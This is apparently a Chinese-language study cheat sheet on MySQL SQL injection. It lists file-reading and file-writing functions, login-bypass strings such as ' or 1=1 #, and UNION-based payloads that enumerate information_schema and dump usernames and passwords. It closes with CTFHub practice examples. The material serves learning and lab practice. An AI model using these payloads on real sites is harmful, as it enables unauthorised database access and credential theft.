SQL注入-基本查询及注入备忘
SQL注入-基本查询及注入语句
MYSQL数据库结构
数据库–表–列–字段
MySQL常用函数
读文件
1 | select load_file('path'); |
写文件
1 | select 'filename' into outfile 'path'; |
ASCII()/ORD() 返回字符串的ascii码值
1 | select ord(); -- 返回第一个ascii码值 |
MID()/SUBSTR() 返回一个字符串的一部分
1 | select mid('mysql',1,2); -- my |
LEFT() 返回字符串最左边的几个字符
1 | select left('mysql', 2); |
SLEEP() 让此语句运行N秒钟
1 | select sleep(N); |
STRCMP()
1 | select strcmp('a', 'b'); # -1 |
IFNULL() 假如参数1不为null,则返回值为参数1,否则返回值为参数2
1 | select ifnull(1/0, 2); --2.0000 |
exp() 返回e的x次方
1 | select exp(1); --2.71828 |
SQL基本语句
1 | show databases; #显示所有数据库 |
SELECT 列名称 FROM 表名称 WHERE 条件 #从表中选取数据
1 | Select* from user where name = 'xxx'; #*表示所有列 |
UPDATE 表名称 SET 列名称 = 新值 WHERE 条件 #修改表中某只 ex:
1 | insert into 表名称(字段名称) values (值1, 值2) |
union select 联合查询
UNION操作符用于合并两个或多个SELECT语句的结果集(UNION内部的每个SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每个SELECT语句中的列的顺序必须相同)
1 | SELECT column_name(s) FROM table_name1 |
万能密码备忘
1 | ' or ' 1=1 # |
分析万能密码如何被解析 通过闭合引号以及注释后面的内容
1 | select * from users where username ' |
查询数据核心语法
获取当前数据库用户、名称、版本信息
1 | select user(), database(), version from dual; |
查库
1 | select schema_name from information_schema.schemata |
查表
1 | select table_name from information_schema.tables where table_schema=库名 |
查列
1 | select column_name from information_schema.columns where table_name='表名'; |
查数据
1 | select 列名 from 库名.表名 |
若数据太多导致无法返回查询结果
查询:可以用limit限定返回的数量和位置回显
若页面只能回显一条数据,可以使用concat 语句
1 | select group_concat(schema_name) from information_schema.schemata; |
爆库的过程中可以使用 concat_ws 使得数据更清晰(加入-作为分隔符)
1 | union select 1,2(select concat_ws('-',username,password) from security.users limit 0, 1) --+) |
UNION注入
union操作符用于合并两个及以上的多个SELECT语句的结果集 注意:UNION内部的SELECT语句必须拥有相同数量的列,列要拥有相似的数据类型,且每条SELECT语句的列的顺序必须相同,默认是选取不同的值,若允许重复的值需要使用UNION ALL
1 | SELECT column_name(s) FROM table_name1 |
注意: 1.只有最后有个SELECT语句允许有ORDER BY
1 | select * from users order by id union selet 1,2,3; -- 错误 |
2.只有最后有个SELECT子句允许有LIMIT
1 | select * from users limit 0,1 union select 1,2,3; -- 错误 |
所以利用报错信息,得到列数为3
1 | id=' union select 1,2,3 --+ |
理解:原本表中有3列,id name password union select 1,2,3对应了3列,所以数字2和3出现在了name和password的位置 所以可以利用这两列的位置进行注入和回显信息
sql语句分析:
1 | select * from users where id=1 union select 1,2,3; |
爆表名
1 | -- 方式1 一条一条爆 |
注入语句:
1 | ' union select 1,2,(select schema_name from information_schema.schemata limit 4,1)--+ |
emmm显然应该(或许大概)是这张security库啦 读表信息
1 | select * from users where id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security'); |
注入语句:
1 | select * from users where id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' |
要读取账户密码,所以选择users表
读段信息
1 | select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users'); |
注入语句:
1 | ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ |
直接读取username和password就可以
读数据
1 | ` union select 1,2,concat_ws(';',username,password) from users limit 0,1--+ |
注:可以使用库名的十六进制代替 database() 当前表
补充一些内容: 字段数判断 SELECT * FROM users limit 1,1 into @,@,@
concat函数在连接字符串时,只要其中一个是null,将返回null
concat_ws则会返回不为null的部分
1 | select concat('1', '2', null) |
例题
CTFHub-Sql注入
整数型注入
payload:
1 | 1 and 1=1 回显正常 |
字符型注入
1 | 1' |
回显:
select * from news where id=’1’’
。。。
payload:
1 | 1' order by 2# 回显正常,得2列 |